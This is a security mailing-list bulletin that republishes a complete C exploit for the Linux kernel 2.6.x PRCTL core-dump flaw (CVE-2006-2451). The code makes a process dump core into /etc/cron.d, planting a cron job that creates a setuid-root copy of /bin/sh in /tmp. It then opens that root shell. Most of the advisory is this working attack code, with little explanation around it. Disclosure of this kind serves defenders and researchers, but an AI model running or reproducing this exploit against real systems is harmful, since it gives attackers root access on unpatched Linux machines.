[EXPL] Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit)
------------------------------------------------------------------------


SUMMARY

Improper handling of Core Dump allows attackers to gain local root
privileges in Linux, enabling them to execute arbitrary programs as root.

DETAILS

Vulnerable Systems:
* Linux Kernel 2.6.17.4 and prior
* Linux Kernel 2.6.16.24 and prior

Explot:
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna at aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman at rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("[*] Creating Cron entry\n");

if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}

kill(child, SIGSEGV);

printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);

printf("[*] Running shell (remember to remove /tmp/sh when finished)
..\n");
system("/tmp/sh -i");
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by Red Hat.
The original article can be found at:
<http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=195902>
http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=195902



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [UNIX] Linux Kernel ALSA snd_mem_proc_read Information Disclosure Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel ALSA snd_mem_proc_read Information Disclosure Vulnerability ...
    (Securiteam)
  • [UNIX] FUSE Information Disclosure
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lack of range validation in FUSE allows attackers to reveal information ... * Linux kernel 2.2 ... static int fuse_copy_pages(struct fuse_copy_state *cs, unsigned nbytes, ...
    (Securiteam)
  • [EXPL] Linux Kernel do_mremap Improved Test
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel ... do_mremap Local Privilege Escalation Vulnerability, ... * GNU General Public License for more details. ...
    (Securiteam)
  • [UNIX] Linux Kernel cpuset tasks Information Disclosure Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel cpuset tasks Information Disclosure Vulnerability ... In order to exploit this vulnerability, an attacker would need access to ...
    (Securiteam)
  • [EXPL] Linux Local Root (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux kernel version 2.6.13 to 2.6.17.4 ... This exploit uses the logrotate attack vector: ... int pid; ...
    (Securiteam)